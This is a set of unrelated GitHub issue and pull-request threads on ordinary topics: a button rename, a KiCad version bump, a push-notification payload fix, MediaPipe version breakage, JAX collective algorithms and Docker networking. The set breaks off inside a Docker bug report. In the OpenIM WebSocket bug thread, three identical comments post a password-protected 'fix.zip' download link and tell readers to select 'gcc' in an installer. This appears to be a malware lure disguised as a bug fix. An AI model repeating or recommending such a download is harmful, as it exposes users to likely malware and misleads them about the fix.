chore: rename button tab to button group

Description
Fixes https://github.com/appsmithorg/appsmith/issues/19234
Depends on https://github.com/appsmithorg/design-system/pull/295
Type of change
Chore
How Has This Been Tested?

Please describe the tests that you ran to verify your changes. Provide instructions, so we can reproduce.
Please also list any relevant details for your test configuration.
Delete anything that is not important

Manual - regress on all usages of ButtonGroup as per https://docs.google.com/spreadsheets/d/1np7jQdiQa0nyryOBnNa927NkGDplG9M2gb7qnoZIIyM/edit#gid=1285357591
Jest
Cypress

Test Plan

Add Testsmith test cases links that relate to this PR

Issues raised during DP testing

Link issues raised during DP testing for better visiblity and tracking (copy link from comments dropped on this PR)

Checklist:
Dev activity

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] PR is being merged under a feature flag

QA activity:

[ ] Test plan has been approved by relevant developers
[ ] Test plan has been peer reviewed by QA
[ ] Cypress test cases have been added and approved by either SDET or manual QA
[ ] Organized project review call with relevant stakeholders after Round 1/2 of QA
[ ] Added Test Plan Approved label after reveiwing all Cypress test

/ok-to-test sha=fc3e5e22ac2e589641d6ad8d305c5be74488137f

This PR looks good. No issues found.

/ok-to-test sha=68e1f54e6e11cbff835faf6fe003f993a2e47f34

merged into https://github.com/appsmithorg/appsmith/pull/19048


[Bug]: FAQ page not visible in dark mode

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
@4darsh-Dev
In dark mode, the text is not visible properly
So i would like to work on it, could you please assign it to me
Add ScreenShots

What browsers are you seeing the problem on?
No response
Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a WOB contributor
[X] I want to work on this issue
[X] I'm willing to provide further clarification or assistance if needed.

assigned to you
@AswaniBolisetti

Hey @AswaniBolisetti ! Thank you so much for your raising the issue💗
It’s all yours, you can come anytime again and make some contributions! 🚀
Alone, we can do little, but together we can do so much! 😇


Update commands, checkpoints and contact info for shuffled word order paper

Before submitting

[ x ] Was this discussed/approved via a Github issue? (no need for typos, doc improvements)
[ x ] Did you read the contributor guideline?
[ x ] Did you make sure to update the docs?
[ x ] Did you write any new necessary tests?

What does this PR do?
Update commands, checkpoints and contact info.
PR review
Anyone in the community is free to review the PR once the tests have passed.
If we didn't discuss your PR in Github issues there's a high chance it will not be merged.
Did you have fun?
Make sure you had fun coding 🙃

cc @koustuvsinha


kicad: 7.0.2 -> 7.0.3

Description of changes
release post with changelog expected here soon
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[x] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

7.0.3 release has been withdrawn
7.0.4 will be released after some additional testing


[BUG] wasm_exec.js:390 WebSocket connection error

OpenIM Server Version
3.8.0
Operating System and CPU Architecture
Linux (AMD)
Deployment Method
Docker Deployment
Bug Description and Steps to Reproduce
taro-openIM-demo
Screenshots Link
No response

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

please check you im server.
I can run this demo and everything works fine.

this issue has been resolved. the backend was using the wrong PlatformID to obtain the IMtoken.
thanks


docs: typos and grammatical errors.

Few files have some spelling mistakes and grammatical errors.

Hey @0xneves I'm fixing these right away.

@0xneves Made a PR that solves this  #168


Separators in Select?

Is it possible to have "separator" lines in Select elements?

In this example, I'd like to have, for example, a dash line between the "Toggle" options and the others, which cannot be selected (the select would just hop over it to the next one).
  Toggle option A
> Toggle option B
  Toggle option C
  ---------------
  Menu option A
  Menu option B
  Menu option C

@ividyon ,
here is this feature for multiselect. I'll mark it as an improvement and it will be very similar (same commands). An example of what it would look like:

  Option 1
> Option 2
  Option 3
  ---------------
  Option 4
  Option 5
  Option 6

Just simple separating lines, no nesting

@ividyon done!, was maintaining a new item nesting option and adding the separation line option.  Note: When using the sort option in conjunction with separation line, the separation lines will be deleted
live Sample :
           PromptPlus.Select<string>("Select")
                .AddItem("Seattle")
                .AddItem("New York")
                .AddSeparationline() //Default Separationline : SeparationLineType.SingleLine
                .AddItem("Tokyo")
                .AddItem("Singapore")
                .AddItem("Shanghai")
                .AddSeparationline(SeparationLineType.DoubleLine)
                .AddItem("London")
                .AddSeparationline(SeparationLineType.Char, '*')
                .AddItem("Other city")
                .Run();

Awesome, thank you!

I'd call it Separator since this is a fairly common term in programming for such things, rather than Separationline (it'd at least have to be SeparationLine).
The separators/group titles seem to count towards the item count on the page (10 items when there's 8 + 2 separators).

@ividyon , No problem, change made to 'Separator' . I had already noticed that the item counter was taking into account separators and groupers, I just adjusted that too

            PromptPlus.DoubleDash("Control:Select - basic usage with Separationline");
            PromptPlus.Select<string>("Select")
                 .AddItem("Seattle")
                 .AddItem("New York")
                 .Separator() //Default SeparatorLine : SeparatorLine.SingleLine
                 .AddItem("Tokyo")
                 .AddItem("Singapore")
                 .AddItem("Shanghai")
                 .Separator(SeparatorLine.DoubleLine)
                 .AddItem("London")
                 .Separator(SeparatorLine.Char, '*')
                 .AddItem("Other city")
                 .Run();

output :

            PromptPlus.DoubleDash("Control:Select - basic usage with group and AppendGroupOnDescription");
            PromptPlus.Select<string>("Which cities would you like to visit?")
                 .AddItemsGrouped("North America", new[] { "Seattle", "Boston", "New York" })
                 .AddItemsGrouped("Asia", new[] { "Tokyo", "Singapore", "Shanghai" })
                 .AddItem("South America (Any)")
                 .AddItem("Europe (Any)")
                 .AppendGroupOnDescription()
                 .Run();

output :

Perfect


[MAS 3.3.2] [Labels & heading-Endpoint] Label is not asociated with the (+) Add button

Actual Result:
User will unable to understand the purpose of the button.
Expected Result:
Label should be defined for the (+) Add button available under the bot explorer. it should announce the associated label as "Endpoint add(+) button".
Test Environment
Platform: Mac 10.15.3 Beta (19D49f)
App: Bot Framework Emulator V4
App version: Version 4.7.0-99577 (4.7.0-99577.99577)
Tool: Voice Over
Repro Steps:
1.Open the Bot Framework V4 Emulator.
2. Welcome tab screen gets opened.
3. Navigate to "Create new bot configuration" and create new bot.
4. navigate to End point(+)>> Bot explorer tool bar.
5. Observe the (+) button announcement.
User Impact:
User will unable to understand the purpose of the control (+) button, if label is not associated with the button, it will impact of efficiency of the screen reader dependent user.
Impacted MAS Link:
https://microsoft.sharepoint.com/:w:/r/teams/msenable/_layouts/15/WopiFrame.aspx?sourcedoc={4b95a70d-258c-474a-820e-5c8b79d5c0bf}
Attachments
Endpoint add button- DT issue.zip

#HCL-BotFrameworkEmulator; #Emulator-MAC; #A11yMAS; #HCL; #MAS3.3.2; #A11ySev3


Windows Support?  What would it take?

Thanks so much for this little plugin.  SO far it is working like a champ for those in our team who are on *nix operating systems but the Windows folks are left hanging in the wind.
I might be inclinded to help out on this task but not totally familiar w/ ruby, would this be as easy as extracting the path that is used in the .rb file several times into a variable that is determined in some fashion?  Or is there more to it?

Isn't there a nice way to automatically prompt the user for administrator permissions when attempting to write to the hosts file?

It looks like there are 2 issues here.  The first is that File.writable? is not accurately reflecting that the user does not have permission to the file.  This looks like a bug with ruby https://bugs.ruby-lang.org/issues/4712.  Also, was wondering if we could just use the runas command for windows.  I can submit a PR that gets around the File.writable? bug by using sudo when the platform is windows, and change the sudo method to use runas for windows.


Intercom JS widget loaded prematurely

I'm an engineer at a Segment/Intercom client and we were receiving customer reports that the Intercom window wasn't opening from time to time. As background, we include the Segment script in <head> as recommended and have installed the Intercom integration.
As I was able to reproduce the issue sporadically, I tracked it down to the Intercom widget initializing when document.body was not available. With the above installation setup, this does not guarantee that body will be available by the time the Intercom integration loads, as required.
As Intercom advises, one way to solve the problem would be to include the Intercom script tag in <body>, rather than <head> which is what we see this integration doing.

Hi @tay, as part of the monorepo migration, this issue has been moved to new issue. Our engineers have been notified and will prioritize and work on it ASAP. Thank you!
For more information, see README.md.


[Bootstrap 4]: Create TextWidget

Prerequisites

[x] I have read the documentation;
[x] In the case of a bug report, I understand that providing a SSCCE example is tremendously useful to the maintainers.
[x] Ideally, I'm providing a sample JSFiddle or a shared playground link demonstrating the issue.

Description
Creating the TextWidget according to the Bootstrap 4 semantics
Steps to Reproduce

Load bootstrap-4 theme in the playground

Closing this as the linked PR has been merged
cc @Xtremilicious


Change in server definition "docker image" not updating.

I changed the Enviroment variable "Docker image" from openjdk:8-alpine to openjdk:8-slim, pressed save and then run.
The server ran in with the openjdk:8-alpine image.
The issue was solved by stoping the server and pressing the "reload server data from disk".
EDIT:
Running pufferpanel from the "pufferpanel:latest" docker image.

Anything changing in the environment is currently designed to not be changed while it's running, which with docker.... does not make as much sense. This is because it's specific to the server running, and changing it on the fly is a bit dangerous. It'd be bad for example if the "root" changed while the server is doing stuff. That said, we could have it so that if the server is "offline", it applies such changes immediately, or when it goes back offline.

Anything changing in the environment is currently designed to not be changed while it's running, which with docker.... does not make as much sense. This is because it's specific to the server running, and changing it on the fly is a bit dangerous. It'd be bad for example if the "root" changed while the server is doing stuff. That said, we could have it so that if the server is "offline", it applies such changes immediately, or when it goes back offline.

Maybe you implied that i changed the variable when it was runnning.
The server was STOP when changing the variable.
Then i stoped the server again before presing the reload server data from disk

I did not imply that. I just mean that it doesn't work because we don't track the status, and so can't safely apply such changes. It isn't anything you did, it's just how it works.

The server was not running when i changed the image, I expected to boot with the new image when i pressed start, that was not the case.
I needed to press reload from diks for the changes to apply.
As nepcore said:

Yeah, that's fine. It's just how I designed it. It won't reload that data unless you actually do use that button. Stuff in the "environment" bit can't be changed on the fly like that. You have to use the reload button.

Oh, if it's by design... it would be nice if it was some kind of warning stating that you need to press that button for the setting to apply

Such a warning doesn't currently exist as I was not aware of that, that's something I'll take care of whenever I get around to it


When I click in notification icon, push.on('notification') is not fired

Expected Behaviour
To Fire push.on('notification') when I click in notification from status bar
Actual Behaviour
Does nothing.
Platform and Version (eg. Android 5.0 or iOS 9.2.1)
Android 4.4, 5.0 and 6.0
Sample Push Data Payload
var message = new gcm.Message({
	collapseKey: 'demo',
	priority: 'high',
	contentAvailable: true,
	delayWhileIdle: true,
	timeToLive: 3,
	data: {
		msgcnt: 1
	},
	notification: {
		title: 'testing',
		icon: "icon_push",
		sound: 'default',
		message: 'test',
		body: 'testing'
	}
});
var sender = new gcm.Sender('');

sender.send(message, { registrationTokens: regTokens }, function (err, response) {
if(err) {
console.log(err);
cb(err);
} else {
console.log(response);
cb(response);
}
});
Sample Code that illustrates the problem
$ionicPlatform.ready(function() {
  var config = {
    android: {
      senderID: "xxxx",
      icon: "icon_push"
    },
    ios: {
      alert: "true",
      badge: "true",
      sound: "true"
    },
    windows: {}
  };
  var push = PushNotification.init(config);
  push.on('registration', function(data) {
    alert(data.registrationId);
    // Success -- send deviceToken to server, and store for future use
  });
  push.on('notification', function(data) {
    alert("Title:" + data.title); // This alert for example, it get s fired when the app is in foreground, but when the app launches from clicking on a notification, it's not fired
  });

});
Logs taken while reproducing problem
In logcat, I see no logs about PushPlugin when clicking in notification.

@Stiveknx use the following in node-gcm as our properties need to be in the data object:
var message = new gcm.Message({
    collapseKey: 'demo',
    priority: 'high',
    contentAvailable: true,
    delayWhileIdle: true,
    timeToLive: 3,
    data: {
        msgcnt: 1,
        title: 'testing',
        icon: "icon_push",
        sound: 'default',
        message: 'test',
        body: 'testing'
    }
});

Let me know if that fixes the problem.

Yep, fixed.
Thanks.
Is that documented somewhere?
Didn't find it ...

@Stiveknx all of the examples use data but I should document it more clearly.
https://github.com/phonegap/phonegap-plugin-push/blob/master/docs/PAYLOAD.md#android-behaviour


Fix touch ${CHECKSUM_FILE_BEFORE}

From https://github.com/travis-ci/casher/pull/38#issuecomment-486545307

Thank you!


entries order after change-set is amended with new item

Fix proposition for issue https://github.com/SAP/openui5/issues/3090

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Hi @urgens, I've created an internal incident with number<PHONE_NUMBER>. My colleagues will follow up on this pull request.

Hi @urgens,
As I already mentioned in #3090 this pull request does not to solve the issue as there is at least one failing test: sap/ui/core/qunit/odata/v2/V2ODataModel.qunit.js.
We are just working on a fix, so I close this request and you can follow the ticket #3090.


Port forwarding not working in Codespaces after updating to latest Evidence version (14.0)

I noticed this and thought it was just an issue on my side - then recently was confirmed by another developer. It looks like the bump to newer version of SvelteKit might have changed how ports are exposed.
Do we need to use the --host option or something similar to expose the port to the network in Evidence 14.0.0? Or has anyone else gotten port forwarding working again in Codespaces?
Sample project here:

PR link: https://github.com/dbt-labs/jaffle-shop-template/pull/8/files
Codespace for testing: https://github.com/codespaces/new?hide_repo_select=true&ref=bump-evidence-to-v14&repo=612676159

Launching a new Codespace with the link above should allow repro using steps:
cd reports
npm install
npm run dev

Redirect URL looks something like https://auth.preview.app.github.dev/authenticate-codespace/aaronsteers-cuddly-meme-pj5ggpx559qc79jp?path=/true&visibility=private&port=3000&cid=100276c85f7a93f0454a737f93e9c6d3
Which lands at https://aaronsteers-cuddly-meme-pj5ggpx559qc79jp-3000.preview.app.github.dev/true. (I tried removing "/true" from the URL with no change.)
Final result in codespaces is:

@aaronsteers I was able to resolve the 502 errors on my end by changing the dev command in package.json to evidence dev --host <IP_ADDRESS>
I've found that codespaces still doesn't recognize the port consistently though.

Cool! That seems to have worked!
I updated the PR and the port is forwarded correctly now.
The only remaining issue I see is the '/true' suffix at the end of the path. Do you know anything about that? It's easy enough to remove manually for now during dev/test cycles, so not a major issue.

I've found that codespaces still doesn't recognize the port consistently though.

I didn't have any issue - at least not when starting fresh in a new container.

evidence dev --open / --host <IP_ADDRESS>?

adding that slash to --open worked for me to fix the '/true' suffix!

Confirmed for me too! 👍


Are you planning to share the pretrained model weights?

Are you planning to share the pretrained model weights?
Thank you.

We're planning to release the pretrained weights in the near future. Please keep updating our repo.
Thank you.


Build a server in

Adds the ability to start an http server right from inside the addon instead of relying on external scripts.  This may not be necessary so feel free to reject if it adds complexity without too much benefit, either way great plugin!

Hi Michael, your change makes the script slightly more complex, but it's cool! So I'll merge it!
Thanks!


Edit misleading comments

Just browsing your class,
https://github.com/lovasoa/bloomfilter/blob/master/src/main/java/BloomFilter.java#L41-L45
This comment is very misleading and seems to be a counter-sense.
It should read :

If it returns false, element o it is not in the set (guaranteed),
Else if it  returns true, the element is probably in the set with probability 1-p, where p is your equation with the log.

So, no false negatives, but false positive are possible.

How is the comment misleading ?

If the element is in the set, the function is guaranteed to return true
If the element is not, the function will probably return false

How would presenting things in terms of what the function returns instead of whether the element is in the set (which is the property users are supposedly interested in) help ?
Maybe presenting both perspectives would help, though. What would you think about :
  /**
  * If the element is in the container, returns true.
  * If the element is not in the container, returns true with a probability ≈ e^(-ln(2)² * m/n), otherwise false.
  * So, when m is large enough, the return value can be interpreted as:
  *    - true  : the element is probably in the container
  *    - false : the element is definitely not in the container
  **/

Yes I think that would be much more explicit and easier to read.
I did read it several times to convince myself it was wrong before posting an issue, but given your answer and reading it again, I can see now that the way it was expressed is actually correct.
I think the idea of reversing it is talking about how much you can trust the return value,  false is trusted, true is not. So I'd rather talk about the probability of true being wrong than talk in the same sentence about false result and a probability.
Thanks for making this code available btw, I might adopt your class into some of my code base to make a Blash table (Bloom in front of a Hash, when false results to contains are common is a good idea).


Network fails to learn with change in input resolution

I am using your code base with a variation in input resolution from 512x512 to 1024x576. I changed the transforms, coco_dataset, loss functions and made it work for rectangular images. However, after 30 epochs, when I evaluate, the AP results are terrible.
Can you throw some insights on why your code works bad for rectangular images?

I meet the same problem, have you solve it?


[ENG-14410] update @expo/config and @expo/config-plugins to fix eas build command for bare iOS projects on Windows

Why
Please describe the motivation for this PR, and link to relevant GitHub issues, forums posts, or feature requests.
How
How did you build this feature or fix this bug and why?
Test Plan
Please describe how you tested this change and how a reviewer could reproduce your test, especially if this PR does not include automated tests! If possible, please also provide terminal output and/or screenshots demonstrating your test/reproduction.

#2744  👈 (View in Graphite)
main

This stack of pull requests is managed by Graphite. Learn more about stacking.


Beastmaster tree, texts pending

Thank you!

@J-888, If you're working on the beastmaster I'll stick to the other VHs.


无法登录

作者您好，现在代码已经无法实现账户登录了

出现什么错误

您好， 网站的authToken这个值找不到了 导致无法登录。

In the current login request on the website, there is no authToken any more.
A possible cause to this problem is that the "sign in" response does not have a proper Cookie.

Did anyone figure this out?


Implement restore wallet

@Miolin after suggestions will be included we need to make color handling for seed phrases by analogy with create wallet flow

@alexandrashelenkova please attach screenshots

SHA-1: 913c51ac6a64567f6b4697c51e373b3c5eca85d3
implemented ImportRecovery wrapper for android

@Miolin after restoring the wallet by connecting to the local node, in the settings displayed that the wallet is connected to the random node.

checked


Fix unstubbing of new

This seems to be working.  In writing tests for https://github.com/agoragames/torus , it seems that an expectation on the Timeseries type was not cleaned up properly, and resulted in the following error for a test that didn't try to mock out that constructor.
======================================================================
ERROR: test_match_list (test.unit.schema_test.SchemaTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/aaron/.virtualenvs/torus/local/lib/python2.7/site-packages/chai/chai.py", line 57, in wrapper
    func(self, *args, **kwargs)
  File "/home/aaron/projects/torus/test/unit/schema_test.py", line 70, in test_match_list
    s = Schema('name', config)
  File "/home/aaron/projects/torus/torus/schema.py", line 53, in __init__
    self.timeseries = Timeseries(self._client, **config)
TypeError: unbound method __new__() must be called with Timeseries instance as first argument (got type instance instead)

@ajferrick This commit 1a3d80c0 may have what you need, as a staticmethod looks identical to an unbound method in Python3. That may not work specifically with mock, but expect should work so long as you use it in the form expect(obj, 'staticmethod_name').
Sorry for the late response, open source dropped off my radar as we had a very busy end of year.


[JVM issue] Fix link bug

In optimal_targets.py (https://github.com/ossf/fuzz-introspector/blob/main/src/fuzz_introspector/analyses/optimal_targets.py#L259-L264), it uses some logic to determine the coverage source report link for a specific functions. But the logic is only suitable for c-cpp.
In fuzzer_profile.py, there is helper functions to handle coverage source report link for c-cpp / python / jvm separately. To reduce code duplication and to allow optimal function table to use the same  coverage link resolve function, this PR move the coverage link resolve code to utils and allows both fuzzer_profile.py and optimal_targets.py to use it.
Related to issue #629 and also fixing bugs for python report.

Looks like https://github.com/ossf/fuzz-introspector/pull/639 and https://github.com/ossf/fuzz-introspector/pull/638 were reverted when I assume the conflicts were resolved automatically during a rebase or something like that. It would be great if it was possible to bring them back.

Changes from PR #638 and #639 is merged in.


FaceMesh failing for INTERNAL: RET_CHECK failure options_.has_num_classes()

System information (Please provide as much relevant information as possible)

Have I written custom code (as opposed to using a stock example script provided in MediaPipe): Yes
OS Platform and Distribution (e.g., Linux Ubuntu 16.04, Android 11, iOS 14.4): macOS 12.4
Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device: Not checked
Browser and version (e.g. Google Chrome, Safari) if the issue happens on browser: Chrome Version 103.0.5060.114 (Official Build) (arm64)
Programming Language and version ( e.g. C++, Python, Java): Javascript
MediaPipe version<EMAIL_ADDRESS>Bazel version (if compiling from source): N/A
Solution ( e.g. FaceMesh, Pose, Holistic ): FaceMesh
Android Studio, NDK, SDK versions (if issue is related to building in Android environment): N/A
Xcode & Tulsi version (if issue is related to building for iOS): N/A

Describe the current behavior:
FaceMesh consistently failing on loading due to
1 tensors_to_detections_calculator.cc:650] INTERNAL: RET_CHECK failure (third_party/mediapipe/calculators/tensor/tensors_to_detections_calculator.cc:650) options_.has_num_classes()

Describe the expected behavior:
Expected FaceMesh to not crash.
Standalone code to reproduce the issue:
Provide a reproducible test case that is the bare minimum necessary to replicate the problem. If possible, please share a link to Colab/repo link /any notebook:
Can be reproduced by exactly copying the JS FaceMesh example or running the FaceMesh web demo.
The issue is only seen in https://cdn.jsdelivr.net/npm/<EMAIL_ADDRESS>The error is not seen when using a previous version https://cdn.jsdelivr.net/npm/<EMAIL_ADDRESS>Other info / Complete Logs :
Include any logs or source code that would be helpful to
diagnose the problem. If including tracebacks, please include the full
traceback. Large logs and files should be attached
chrome console logs
-1657441507664.log

related: https://github.com/google/mediapipe/issues/3506

Hi @alantly ,
Rolling back to 0.4.1633559619 appears to fix it
change your script include from
https://cdn.jsdelivr.net/npm/<EMAIL_ADDRESS>to
https://cdn.jsdelivr.net/npm/<EMAIL_ADDRESS>until fix is made.
Looks like the 0.4.1657299874 release broke it.

Thanks for the response. I have been using 0.4.1633559619` already and it works.

Yes-- that was a broken release; it has been already deprecated, but jsdelivr does not always point to the correct version yet.  For now, either explicitly targeting the old version (as you have done) or just targeting no-version<EMAIL_ADDRESS>should work around the problem.
Also, while the release has been deprecated for all Solutions, I believe the breakages associated with this error are in face_mesh and face_detection alone.


test(gc): Update remaining unordered tests to snapbox

What does this PR try to resolve?
This gets rid of the last unordered tests and removes the functions from cargo-test-support as part of #14039
Some tests are being less specific than they were before but in talking to ehuss, it sounded like that was ok.
How should we test and review this PR?
Additional information

Thanks!
@bors r+

:pushpin: Commit bfa097e5d554ce8ffeb12da7f964813cd05bbcae has been approved by ehuss
It is now in the queue for this repository.

:hourglass: Testing commit bfa097e5d554ce8ffeb12da7f964813cd05bbcae with merge be87c96b23672cd7d5d8bb21ecc43db9ad549a4e...

:sunny: Test successful - checks-actions
Approved by: ehuss
Pushing be87c96b23672cd7d5d8bb21ecc43db9ad549a4e to master...


Change width of active window when there are multiple splits

First of all, brilliant plugin. Thanks for creating it!
Describe the problem
NoNeckPainWidthUp/Down work great with a single window, but it does't do anything when there are multiple splits.
Describe the solution
When there are multiple splits, it changes width of the active one.

First of all, brilliant plugin. Thanks for creating it!

thanks, glad you like it 💓

NoNeckPainWidthUp/Down work great with a single window, but it does't do anything when there are multiple splits.

is there the empty side buffers at this point still? it seems to behave correctly on my side, here's how I tried to reproduce the issue:

open nvim
toggle NNP
call either :split or :vsplit

side buffers are still open

call either :NoNeckPainWidthUp, NoNeckPainWidthDown or NoNeckPainResize INT
see side buffers growing/reducing

Describe the solution
When there are multiple splits, it changes width of the active one.

Ah, the issue is that the side buffers are gone and that's how plugin changes width.
I workarounded it this way but it's incorrect as I need to check if side buffers are visible and pick correct command accordingly. Gonna fix it in a sec.

Alright, this seems to be working: https://github.com/alex35mil/dotfiles/commit/61f2a440aac01535aca9f751a067655dc3ee9cdb

Ah, the issue is that the side buffers are gone and that's how plugin changes width.
I workarounded it this way

That make sense, the NNP resize is only to adjust the side buffers width, so if they are absent you need to default to the neovim builtin way.
FYI I expose the NNP state in the _G global variable so your "are_sidenotes_visiblecould check for something like_G.NoNeckPain.state.tabs[1].wins.main.right || _G.NoNeckPain.state.tabs[1].wins.main.left, where 1is the tabID,1being the default tab, but you can callvim.api.nvim_get_current_tabpage()` to retrieve the ID too

Gotcha, thanks!


fix: Announce end of support for this bundle, mark classes deprecated for visibility

prometheus dropwizard bundle PR
The Expedia Group team behind the dropwizard-prometheus-bundle will no longer be supporting it.
The public-facing classes are marked as deprecated so as to alert developers that use the package of its new state.
Added

Message in README about the bundle being marked deprecated

Changed

marked the PrometheusBundle class as @Deprecated
marked the PrometheusBundleConfig class as @Deprecated

PR Checklist Forms

[ ] CHANGELOG.md updated
[ ] Reviewer assigned
[ ] PR assigned (presumably to submitter)
[ ] Labels added (enhancement, bug, documentation)

End of an era! thank you for your support!


conda package with Python 3.10

Would be great to have both 3.9 and 3.10 packages (I'd like to switch to Python 3.10 within the CoLoMoTo Docker image asap)

Resolved in 0.2.0 with 9fba8ef4b7eb0029b4cda1e79f07a6de88b3a195.


Fix output formatting of depends_on :macos/:arch.

Changes to the core

[x] Followed hacking.md.

Pinging developers that work most on the core: @claui @jawshooah @mwean.
No objections here as well.

👍


SYS-1094: Help box for Aeon-requested materials

Implements SYS-1094
Creates an additional static text box under "How to get it" on full record displays when we have a physical holdings record (not just on LSC materials). Available in a test view: https://search.library.ucla.edu/discovery/search?vid=01UCS_LAL:UCLA_SYS_1094
Tested in Safari and Firefox on desktop and Chrome on mobile.
Screenshot:

Double checked with LSC folks and updated the wording with Andy's suggestions (Library Special Collections and UCLA Film and Television Archive). For now, we're ok with this appearing on all physical items, and we're planning to revisit the issue after it's been up for a few days.


Tutorial: How do I create a simple JSON Table Schema for my CSV?

[ ] http://datapackagist.okfnlabs.org/

This issue was moved to frictionlessdata/frictionlessdata.io#62


Rebuild with new base image

Signed-off-by: Subbarao Meduri<EMAIL_ADDRESS>

/lgtm

/retest

/test e2e-kind


tanya

login adminx gmn ya ? halaman admin trus encripsi ad pakai apa md5 / sha1

blockquote, div.yahoo_quoted { margin-left: 0 !important; border-left:1px #715FFA solid !important; padding-left:1ex !important; background-color:white !important; } md5 ...
Sent from Yahoo Mail for iPad
On Senin, Oktober 23, 2017, 8:29 PM, vianziro<EMAIL_ADDRESS>wrote:
login adminx gmn ya ? halaman admin trus encripsi ad pakai apa md5 / sha1
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

diisi dulu tabel adminnya ... enkripsinya pake md5 ...


Add system test for AddCommand

Implements part of #36

Pull Request Test Coverage Report for Build 754

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.7%) to 82.105%

Totals

Change from base Build 750:
0.7%

Covered Lines:
2294

Relevant Lines:
2794

💛  - Coveralls


feat: upgrade native sdk <IP_ADDRESS>

Update native sdk <IP_ADDRESS> dependencies

Examples built:

https://nightly.link/AgoraIO-Extensions/agora_flutter_sdks_build/actions/runs/11932362920/agora_rtc_engine_ios_6.3.1-sp.431201_20241120113048.zip

https://nightly.link/AgoraIO-Extensions/agora_flutter_sdks_build/actions/runs/11932362920/agora_rtc_engine_windows_6.3.1-sp.431201_20241120112645.zip
https://nightly.link/AgoraIO-Extensions/agora_flutter_sdks_build/actions/runs/11932362920/agora_rtc_engine_web_6.3.1-sp.431201_20241120112331.zip

This comment is commented by bot, do not edit it directly


How does jax implement jax.lax.psum, jax.lax.all_gather and jax.lax.all_to_all?

Description
Hello all,
I am new to Jax and I am exploring collective communications and so I wish to understand how does Jax implement jax.lax.psum(All reduce), jax.lax.all_gather and jax.lax.all_to_all ?
Is it implemented as Ring, Binary tree, halving-doubling or something else?
And does this implementation depend on the hardware it is being deployed on? For context, I am experimenting with TPU v-3 (v3-8 and v3-32)
Any documentation or explanation would be most appreciated !
Thanks and Regards,
AI
What jax/jaxlib version are you using?
jax 0.4.19, jaxlib 0.4.19
Which accelerator(s) are you using?
TPU
Additional system info
tpu-ubuntu2204-base
NVIDIA GPU info
No response

And does this implementation depend on the hardware it is being deployed on?

I believe XLA GPU uses NCCL for collectives on GPU and XLA TPU emits specific collective algorithms depending on the topology and set of devices being used for the collectives. I am unsure of the choice of algorithm so hopefully someone else can chime in on that front.

@jakevdp , @sharadmv , @pschuh
Could you please help me understand this? To my best efforts I could not find any documentation explaining this. If you could point me in that direction, it would be really helpful!
Best regards,
AI

Looks like nccl may switch between ring and tree based on which performs best: https://github.com/NVIDIA/nccl/issues/256 .
Note that all-reduce is normally reduce-scatter + all-gather. So if an impl uses a ring for all-reduce, all-gather is likely also a ring.
On a TPU, because the interconnects are configured entirely in chip-to-chip torus or meshes (depending on if you're using a subslice of a torus), its pretty hard to have something that doesn't look 'ring-like'. I'm pretty sure that ring-reductions are near optimal for TPU simply because all communication must happen through these neighbor-to-neighbor connections, the only caveat is that the optimal algorithm probably utilizes all 3 axes of the torus.
https://cloud.google.com/tpu/docs/system-architecture-tpu-vm might have more information.

Thank you so much for the clarification!


Docker 1.12 RC3: network connectivity problem between the containers in a service

Output of docker version:
root@c910f04x19k03:~# docker version
Client:
 Version:      1.12.0-rc3
 API version:  1.24
 Go version:   go1.6.2
 Git commit:   91e29e8
 Built:        Sat Jul  2 00:38:44 2016
 OS/Arch:      linux/amd64

Server:
 Version:      1.12.0-rc3
 API version:  1.24
 Go version:   go1.6.2
 Git commit:   91e29e8
 Built:        Sat Jul  2 00:38:44 2016
 OS/Arch:      linux/amd64
root@c910f04x19k03:~#

Output of docker info:
root@c910f04x19k03:~# docker info
Containers: 1
 Running: 1
 Paused: 0
 Stopped: 0
Images: 5
Server Version: 1.12.0-rc3
Storage Driver: aufs
 Root Dir: /var/lib/docker/aufs
 Backing Filesystem: extfs
 Dirs: 21
 Dirperm1 Supported: true
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: null host overlay bridge
Swarm: active
 NodeID: 07wntcacagsx697lbxwglgabu
 IsManager: Yes
 Managers: 1
 Nodes: 5
 CACertHash: sha256:e6e343bf771b0d6ee561deea4effa386d3c4f73208a091f782dd6bc526fbd0fe
Runtimes: runc
Default Runtime: runc
Security Options: apparmor seccomp
Kernel Version: 4.4.0-22-generic
Operating System: Ubuntu 16.04 LTS
OSType: linux
Architecture: x86_64
CPUs: 2
Total Memory: 3.859 GiB
Name: c910f04x19k03
